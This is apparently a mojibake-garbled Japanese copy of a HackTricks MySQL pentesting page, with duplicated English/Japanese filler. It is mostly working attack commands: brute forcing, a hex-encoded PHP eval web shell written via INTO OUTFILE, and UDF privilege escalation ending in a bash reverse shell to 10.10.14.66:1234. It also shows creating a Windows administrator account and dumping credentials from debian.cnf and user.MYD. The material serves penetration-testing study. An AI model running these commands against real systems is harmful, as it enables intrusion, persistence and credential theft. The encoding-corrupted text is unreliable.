# 3306 - Pentesting Mysql
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* ããªãã¯**ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ HackTricksã§ããªãã®**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç§ãã¡ã®ç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³
* [**å
¬åŒã®PEASSïŒHackTricks swag**](https://peass.creator-spring.com)ãæã«å
¥ããŸããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ãããã³ã°ã®ããªãã¯ãå
±æãã**ããã«ãPRã**hacktricksãªããžããª**ãš**hacktricks-cloudãªããžããª**ã«æåºããŠãã ããã
[**RootedCON**](https://www.rootedcon.com/)ã¯ã**ã¹ãã€ã³**ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã**ã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ããããšã䜿åœãšããŠããããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã®ããã®æŽ»æ°ãã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
## **åºæ¬æ
å ±**
**MySQL**ã¯ãæ§é åã¯ãšãªèšèªïŒ**SQL**ïŒã䜿çšããããªãŒãªãŒãã³ãœãŒã¹ã®ãªã¬ãŒã·ã§ãã«ããŒã¿ããŒã¹ç®¡çã·ã¹ãã ïŒRDBMSïŒã§ãã[ãããã](https://www.siteground.com/tutorials/php-mysql/mysql/)ã
**ããã©ã«ãããŒãïŒ** 3306
```
3306/tcp open mysql
```
## **æ¥ç¶**
### **ããŒã«ã«**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### ãªã¢ãŒã
#### MySQL
MySQLã¯ããªãŒãã³ãœãŒã¹ã®ãªã¬ãŒã·ã§ãã«ããŒã¿ããŒã¹ç®¡çã·ã¹ãã ã§ãããå€ãã®Webã¢ããªã±ãŒã·ã§ã³ã§äœ¿çšãããŠããŸããMySQLãµãŒããŒã«å¯Ÿãããªã¢ãŒãã¢ã¯ã»ã¹ããã¹ãããããã«ã以äžã®ææ³ã䜿çšã§ããŸãã
##### ããŒãã¹ãã£ã³
MySQLãµãŒããŒãå®è¡ãããŠãããã¹ãã§ããŒãã¹ãã£ã³ãå®è¡ããMySQLã®ããã©ã«ãããŒãã§ãã3306çªããŒããéããŠãããã©ããã確èªããŸãã
```
nmap -p 3306
```
##### ããã©ã«ãã®ã¯ã¬ãã³ã·ã£ã«
MySQLãµãŒããŒã«ã¯ãããã©ã«ãã®ã¯ã¬ãã³ã·ã£ã«ãèšå®ãããŠããå ŽåããããŸãã以äžã®ã¯ã¬ãã³ã·ã£ã«ãè©ŠããŠã¿ãŠãã ããã
```
Username: root
Password: (空çœ)
```
##### ãŠãŒã¶ãŒã®èŸæžæ»æ
ãŠãŒã¶ãŒåãšãã¹ã¯ãŒãã®èŸæžã䜿çšããŠãMySQLãµãŒããŒã«å¯ŸããŠãã«ãŒããã©ãŒã¹æ»æãå®è¡ããŸãã
```
hydra -L -P mysql
```
##### SQLã€ã³ãžã§ã¯ã·ã§ã³
Webã¢ããªã±ãŒã·ã§ã³ãMySQLããŒã¿ããŒã¹ãšããåãããå ŽåãSQLã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ãååšããå¯èœæ§ããããŸããé©åãªãã¹ããã¯ãã«ã䜿çšããŠãSQLã€ã³ãžã§ã¯ã·ã§ã³æ»æãå®è¡ããŸãã
##### ããŒã¿ããŒã¹ã®æ
å ±æŒæŽ©
MySQLãµãŒããŒã«æ¥ç¶ã§ããå ŽåãããŒã¿ããŒã¹ã®æ
å ±ãååŸããããšãã§ããŸãã以äžã®ã³ãã³ãã䜿çšããŠãããŒã¿ããŒã¹ã®äžèŠ§ã衚瀺ããŸãã
```
SHOW DATABASES;
```
##### ãŠãŒã¶ãŒã®æ
å ±æŒæŽ©
MySQLãµãŒããŒã«æ¥ç¶ã§ããå ŽåããŠãŒã¶ãŒã®æ
å ±ãååŸããããšãã§ããŸãã以äžã®ã³ãã³ãã䜿çšããŠããŠãŒã¶ãŒã®äžèŠ§ã衚瀺ããŸãã
```
SELECT user FROM mysql.user;
```
##### ããŒã¿ããŒã¹ã®ãã³ã
MySQLãµãŒããŒã«æ¥ç¶ã§ããå ŽåãããŒã¿ããŒã¹ã®ãã³ããäœæããããšãã§ããŸãã以äžã®ã³ãã³ãã䜿çšããŠãããŒã¿ããŒã¹ã®ãã³ããäœæããŸãã
```
mysqldump -u -p > dump.sql
```
##### ãªã¢ãŒãã³ãŒãå®è¡
MySQLãµãŒããŒã«æ¥ç¶ã§ããå Žåãäžéšã®ããŒãžã§ã³ã§ã¯ãªã¢ãŒãã³ãŒãå®è¡ãå¯èœãªå ŽåããããŸãã以äžã®ã³ãã³ãã䜿çšããŠããªã¢ãŒãã³ãŒãå®è¡ãè©Šã¿ãŸãã
```
SELECT /*!50000*/ 0x3c3f706870206576616c28245f504f53545b2272616e646f6d5f636f6465225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';
```
ããã«ããã`shell.php`ãšããååã®ãã¡ã€ã«ãäœæããããªã¢ãŒãã³ãŒãå®è¡ãå¯èœã«ãªããŸãã
```bash
mysql -h -u root
mysql -h -u root@localhost
```
## å€éšåæ
äžéšã®åæã¢ã¯ã·ã§ã³ã«ã¯æå¹ãªè³æ Œæ
å ±ãå¿
èŠã§ãã
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**ãã«ãŒããã©ãŒã¹**](../generic-methodologies-and-resources/brute-force.md#mysql)
### ä»»æã®ãã€ããªããŒã¿ãæžã蟌ã
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQLã³ãã³ã**
MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.
### **1. Connecting to MySQL**
To connect to a MySQL database, you can use the following command:
```bash
mysql -h -u -p
```
Replace `` with the hostname or IP address of the MySQL server, `` with the username, and `` with the password.
### **2. Creating a Database**
To create a new database, you can use the `CREATE DATABASE` command:
```sql
CREATE DATABASE ;
```
Replace `` with the desired name for the database.
### **3. Selecting a Database**
To select a database to work with, you can use the `USE` command:
```sql
USE ;
```
Replace `` with the name of the database you want to select.
### **4. Creating Tables**
To create a new table in a database, you can use the `CREATE TABLE` command:
```sql
CREATE TABLE (
,
,
...
);
```
Replace `` with the desired name for the table, `` with the name of the first column, `` with the data type of the first column, and so on.
### **5. Inserting Data**
To insert data into a table, you can use the `INSERT INTO` command:
```sql
INSERT INTO (, , ...)
VALUES (, , ...);
```
Replace `` with the name of the table, `` with the name of the first column, `` with the name of the second column, and so on. Replace ``, ``, etc. with the actual values you want to insert.
### **6. Querying Data**
To retrieve data from a table, you can use the `SELECT` command:
```sql
SELECT , , ...
FROM
WHERE ;
```
Replace ``, ``, etc. with the names of the columns you want to retrieve. Replace `` with the name of the table. Replace `` with the condition that the retrieved data must meet.
### **7. Updating Data**
To update data in a table, you can use the `UPDATE` command:
```sql
UPDATE
SET = , = , ...
WHERE ;
```
Replace `` with the name of the table. Replace ``, ``, etc. with the names of the columns you want to update. Replace ``, ``, etc. with the new values you want to set. Replace `` with the condition that the data to be updated must meet.
### **8. Deleting Data**
To delete data from a table, you can use the `DELETE FROM` command:
```sql
DELETE FROM
WHERE ;
```
Replace `` with the name of the table. Replace `` with the condition that the data to be deleted must meet.
These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.
```bash
show databases;
use ;
connect ;
show tables;
describe ;
show columns from ;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name=""
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQLã®æš©éåæ
MySQLã®æš©éåæã¯ãããŒã¿ããŒã¹ãµãŒããŒäžã®ãŠãŒã¶ãŒã®æš©éãç¹å®ããããã®éèŠãªææ³ã§ãã以äžã«ãMySQLã®æš©éåæã«äœ¿çšã§ããããã€ãã®ãã¯ããã¯ã瀺ããŸãã
#### 1. SHOW GRANTSã³ãã³ã
SHOW GRANTSã³ãã³ãã¯ããŠãŒã¶ãŒã«äžããããæš©éã衚瀺ããããã«äœ¿çšãããŸãã次ã®ã³ãã³ãã䜿çšããŠãç¹å®ã®ãŠãŒã¶ãŒã®æš©éã衚瀺ã§ããŸãã
```sql
SHOW GRANTS FOR 'username'@'localhost';
```
#### 2. INFORMATION_SCHEMAããŒã¿ããŒã¹
INFORMATION_SCHEMAããŒã¿ããŒã¹ã«ã¯ãMySQLãµãŒããŒã®ã¡ã¿ããŒã¿ãæ ŒçŽãããŠããŸãã以äžã®ã¯ãšãªã䜿çšããŠããŠãŒã¶ãŒã®æš©éã«é¢ããæ
å ±ãååŸã§ããŸãã
```sql
SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';
```
#### 3. mysql.userããŒãã«
mysql.userããŒãã«ã«ã¯ãMySQLãµãŒããŒã®ãŠãŒã¶ãŒã«é¢ããæ
å ±ãæ ŒçŽãããŠããŸãã次ã®ã¯ãšãªã䜿çšããŠããŠãŒã¶ãŒã®æš©éã«é¢ããæ
å ±ãååŸã§ããŸãã
```sql
SELECT * FROM mysql.user WHERE user = 'username';
```
ãããã®ãã¯ããã¯ã䜿çšããŠãMySQLã®æš©éãåæããããšãã§ããŸããããã«ãããã»ãã¥ãªãã£äžã®è匱æ§ãæœåšçãªæ»æçµè·¯ãç¹å®ããããšãã§ããŸãã
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
ããã¥ã¡ã³ãã§ã¯ãåæš©éã®æå³ãããããŸãïŒ[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
### MySQLãã¡ã€ã«RCE
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
{% endcontent-ref %}
## ã¯ã©ã€ã¢ã³ãã«ããMySQLä»»æã®ãã¡ã€ã«èªã¿åã
å®éã«ã¯ã**ããŒãã«ã«ããŒã«ã«ããŒã¿ãããŒããã**ãšãã«ãMySQLãŸãã¯MariaDBãµãŒããŒã¯**ã¯ã©ã€ã¢ã³ãã«ãã¡ã€ã«ã®å
容ãèªã¿åã**ããã®å
容ãéä¿¡ããããã«èŠæ±ããŸãã**ãããã£ãŠãèªåã®MySQLãµãŒããŒã«æ¥ç¶ããããã«mysqlã¯ã©ã€ã¢ã³ããæ¹ããã§ããã°ãä»»æã®ãã¡ã€ã«ãèªã¿åãããšãã§ããŸãã**\
ãªããããã¯æ¬¡ã®ãããªåäœã§ãïŒ
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(ãlocalããšããåèªã«æ³šæ)\
ãlocalãããªããšã次ã®ãããªçµæã«ãªããŸãïŒ
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**åæã®PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**ãã®è«æã§ã¯ãæ»æã®å®å
šãªèª¬æãRCEãžã®æ¡åŒµæ¹æ³ããèŠãããšãã§ããŸã:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ããã§ã¯æ»æã®æŠèŠãèŠã€ããããšãã§ããŸã:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
â
ââ[**RootedCON**](https://www.rootedcon.com/)ã¯ã**ã¹ãã€ã³**ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã**ã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ãã䜿åœãæã€ãã®äŒè°ã¯ãããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã«ãšã£ãŠã®æŽ»æ°ãã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
## POST
### MysqlãŠãŒã¶ãŒ
ããmysqlã**root**ãšããŠå®è¡ãããŠããå Žåãéåžžã«èå³æ·±ãããšã§ãã
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnfã®å±éºãªèšå®
[https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238)ãã
| **èšå®** | **説æ** |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `user` | MySQLãµãŒãã¹ãå®è¡ããããŠãŒã¶ãŒãèšå®ããŸãã |
| `password` | MySQLãŠãŒã¶ãŒã®ãã¹ã¯ãŒããèšå®ããŸãã |
| `admin_address` | 管çãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã§TCP/IPæ¥ç¶ãåŸ
ã¡åããããã®IPã¢ãã¬ã¹ãèšå®ããŸãã |
| `debug` | ãã®å€æ°ã¯çŸåšã®ãããã°èšå®ã瀺ããŸãïŒãã°å
ã®æ©å¯æ
å ±ïŒã |
| `sql_warnings` | ãã®å€æ°ã¯ãåäžè¡ã®INSERTã¹ããŒãã¡ã³ããèŠåãçºçããå Žåã«æ
å ±æååãçæãããã©ãããå¶åŸ¡ããŸãïŒãã°å
ã®æ©å¯æ
å ±ïŒã |
| `secure_file_priv` | ãã®å€æ°ã¯ãããŒã¿ã®ã€ã³ããŒãããã³ãšã¯ã¹ããŒãæäœã®å¹æãå¶éããããã«äœ¿çšãããŸãã |
### ç¹æš©ææ Œ
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password= -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### ã©ã€ãã©ãªã䜿çšããç¹æš©ææ Œ
ãã**mysqlãµãŒããŒãrootãŠãŒã¶ãŒ**ïŒãŸãã¯ä»ã®ç¹æš©ãæã€ãŠãŒã¶ãŒïŒãšããŠå®è¡ãããŠããå Žåãã³ãã³ããå®è¡ãããããšãã§ããŸãããã®ããã«ã¯ã**ãŠãŒã¶ãŒå®çŸ©é¢æ°**ã䜿çšããå¿
èŠããããŸãããããŠãmysqlãå®è¡ããŠããOSã®ããã®**ã©ã€ãã©ãª**ãäœæããå¿
èŠããããŸãã
æªæã®ããã©ã€ãã©ãªã¯ãsqlmapãmetasploitã®äžã«ãã**`locate "*lib_mysqludf_sys*"`**ãå®è¡ããããšã§èŠã€ããããšãã§ããŸãã**`.so`**ãã¡ã€ã«ã¯**Linux**ã®ã©ã€ãã©ãªã§ããã**`.dll`**ãã¡ã€ã«ã¯**Windows**ã®ãã®ã§ããå¿
èŠãªãã®ãéžæããŠãã ããã
ããããããã®ã©ã€ãã©ãªã**æã£ãŠããªã**å Žåã¯ããããã**æ¢ã**ãããã®[**Linux Cã³ãŒã**](https://www.exploit-db.com/exploits/1518)ãããŠã³ããŒããã**Linuxã®è匱ãªãã·ã³å
ã§ã³ã³ãã€ã«**ããŠãã ããã
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
ä»ãã©ã€ãã©ãªãæã£ãŠããã®ã§ãç¹æš©ãŠãŒã¶ãŒïŒrootïŒïŒãšããŠMysqlã«ãã°ã€ã³ãã次ã®æé ã«åŸã£ãŠãã ããïŒ
#### Linux
```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
#### ãŠã£ã³ããŠãº
##### MySQL Service
##### MySQL ãµãŒãã¹
###### MySQL Enumeration
###### MySQL åæ
To enumerate MySQL service on a Windows machine, you can use the following techniques:
ãŠã£ã³ããŠãºãã·ã³äžã®MySQLãµãŒãã¹ãåæããããã«ã以äžã®ãã¯ããã¯ã䜿çšããããšãã§ããŸãã
###### 1. Port Scanning
###### 1. ããŒãã¹ãã£ã³
Perform a port scan to identify if the MySQL service is running on the target machine. You can use tools like Nmap or Masscan for this purpose.
ããŒãã¹ãã£ã³ãå®è¡ããŠãã¿ãŒã²ãããã·ã³ã§MySQLãµãŒãã¹ãå®è¡ãããŠãããã©ãããç¹å®ããŸãããã®ç®çã®ããã«ãNmapãMasscanãªã©ã®ããŒã«ã䜿çšããããšãã§ããŸãã
###### 2. Banner Grabbing
###### 2. ãããŒã°ã©ãã³ã°
Use tools like Telnet or Netcat to connect to the MySQL service port (default is 3306) and grab the banner information. This can provide valuable information about the MySQL version and other details.
TelnetãNetcatãªã©ã®ããŒã«ã䜿çšããŠãMySQLãµãŒãã¹ããŒãïŒããã©ã«ãã¯3306ïŒã«æ¥ç¶ãããããŒæ
å ±ãååŸããŸããããã«ãããMySQLã®ããŒãžã§ã³ããã®ä»ã®è©³çŽ°ãªæ
å ±ãåŸãããšãã§ããŸãã
###### 3. Service Enumeration
###### 3. ãµãŒãã¹åæ
Use tools like Metasploit or Nmap scripts to enumerate the MySQL service and gather information about the running version, supported authentication methods, and other details.
MetasploitãNmapã¹ã¯ãªãããªã©ã®ããŒã«ã䜿çšããŠãMySQLãµãŒãã¹ãåæããå®è¡äžã®ããŒãžã§ã³ããµããŒããããŠããèªèšŒæ¹æ³ããã®ä»ã®è©³çŽ°ãªæ
å ±ãåéããŸãã
###### 4. Default Credentials
###### 4. ããã©ã«ãã®è³æ Œæ
å ±
Try using default credentials for MySQL, such as "root" with no password, to gain unauthorized access to the service.
MySQLã®ããã©ã«ãã®è³æ Œæ
å ±ïŒäŸïŒãã¹ã¯ãŒããªãã® "root"ïŒã䜿çšããŠããµãŒãã¹ãžã®äžæ£ã¢ã¯ã»ã¹ãè©Šã¿ãŸãã
###### 5. Brute-Force Attacks
###### 5. ãã«ãŒããã©ãŒã¹æ»æ
If default credentials do not work, you can try brute-forcing the MySQL service using tools like Hydra or Medusa. This involves systematically trying different username and password combinations until a valid one is found.
ããã©ã«ãã®è³æ Œæ
å ±ãæ©èœããªãå ŽåãHydraãMedusaãªã©ã®ããŒã«ã䜿çšããŠMySQLãµãŒãã¹ããã«ãŒããã©ãŒã¹æ»æããããšãã§ããŸããããã«ã¯ãæå¹ãªçµã¿åãããèŠã€ãããŸã§ãç°ãªããŠãŒã¶ãŒåãšãã¹ã¯ãŒãã®çµã¿åãããã·ã¹ãã çã«è©Šãããšãå«ãŸããŸãã
###### 6. Exploiting Vulnerabilities
###### 6. è匱æ§ã®æªçš
If any known vulnerabilities exist in the MySQL service, you can attempt to exploit them using tools like Metasploit or custom scripts.
MySQLãµãŒãã¹ã«æ¢ç¥ã®è匱æ§ãååšããå ŽåãMetasploitãã«ã¹ã¿ã ã¹ã¯ãªãããªã©ã®ããŒã«ã䜿çšããŠããããæªçšããããšãã§ããŸãã
###### 7. SQL Injection
###### 7. SQLã€ã³ãžã§ã¯ã·ã§ã³
If the target application is using MySQL as its database, you can try SQL injection attacks to gain unauthorized access to the database or extract sensitive information.
ã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³ãããŒã¿ããŒã¹ãšããŠMySQLã䜿çšããŠããå ŽåãSQLã€ã³ãžã§ã¯ã·ã§ã³æ»æãè©Šã¿ãŠãããŒã¿ããŒã¹ãžã®äžæ£ã¢ã¯ã»ã¹ãæ©å¯æ
å ±ã®æœåºãè¡ãããšãã§ããŸãã
###### 8. Password Cracking
###### 8. ãã¹ã¯ãŒãã¯ã©ããã³ã°
If you have obtained a hash of a MySQL user's password, you can use tools like John the Ripper or Hashcat to crack the password and gain unauthorized access to the MySQL service.
MySQLãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã®ããã·ã¥ãååŸããå ŽåãJohn the RipperãHashcatãªã©ã®ããŒã«ã䜿çšããŠãã¹ã¯ãŒããã¯ã©ãã¯ããMySQLãµãŒãã¹ãžã®äžæ£ã¢ã¯ã»ã¹ãè¡ãããšãã§ããŸãã
###### 9. Privilege Escalation
###### 9. ç¹æš©ææ Œ
If you have gained access to a MySQL user account with limited privileges, you can try to escalate your privileges by exploiting vulnerabilities or misconfigurations in the MySQL service.
å¶éãããç¹æš©ãæã€MySQLãŠãŒã¶ãŒã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ã§ããå ŽåãMySQLãµãŒãã¹ã®è匱æ§ã誀ã£ãèšå®ãæªçšããŠç¹æš©ãææ Œãããããšãã§ããŸãã
###### 10. Data Exfiltration
###### 10. ããŒã¿ã®å€éšæµåº
If you have gained unauthorized access to the MySQL service, you can exfiltrate data by extracting it from the database or by executing commands on the target machine.
MySQLãµãŒãã¹ãžã®äžæ£ã¢ã¯ã»ã¹ã«æåããå ŽåãããŒã¿ããŒã¹ããããŒã¿ãæœåºããããã¿ãŒã²ãããã·ã³ã§ã³ãã³ããå®è¡ãããããããšã§ãããŒã¿ãå€éšã«æµåºãããããšãã§ããŸãã
```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### ãã¡ã€ã«ããMySQLã®èªèšŒæ
å ±ãæœåºãã
_/etc/mysql/debian.cnf_ å
ã«ã¯ããŠãŒã¶ãŒ **debian-sys-maint** ã® **å¹³æã®ãã¹ã¯ãŒã** ãèšèŒãããŠããŸãã
```bash
cat /etc/mysql/debian.cnf
```
以äžã®è³æ Œæ
å ±ã䜿çšããŠãMySQLããŒã¿ããŒã¹ã«ãã°ã€ã³ã§ããŸãã
ãã¡ã€ã«ïŒ_/var/lib/mysql/mysql/user.MYD_ å
ã«ã¯ãMySQLãŠãŒã¶ãŒã®ãã¹ãŠã®ããã·ã¥ïŒããŒã¿ããŒã¹å
ã®mysql.userããæœåºã§ãããã®ïŒãå«ãŸããŠããŸãã
æœåºããã«ã¯ã次ã®æé ãå®è¡ã§ããŸãã
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### ãã®ã³ã°ã®æå¹å
`/etc/mysql/my.cnf` å
ã® mysql ã¯ãšãªã®ãã®ã³ã°ãæå¹åããããã«ã以äžã®è¡ã®ã³ã¡ã³ããå€ããŸã:
![](<../.gitbook/assets/image (277).png>)
### 䟿å©ãªãã¡ã€ã«
èšå®ãã¡ã€ã«
* windows \*
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
* ã³ãã³ãå±¥æŽ
* \~/.mysql.history
* ãã°ãã¡ã€ã«
* connections.log
* update.log
* common.log
## ããã©ã«ãã® MySQL ããŒã¿ããŒã¹/ããŒãã«
{% tabs %}
{% tab title="information_schema" %}
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
USER\_PRIVILEGES\
VIEWS\
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}
{% tab title="mysql" %}
columns\_priv\
column\_stats\
db\
engine\_cost\
event\
func\
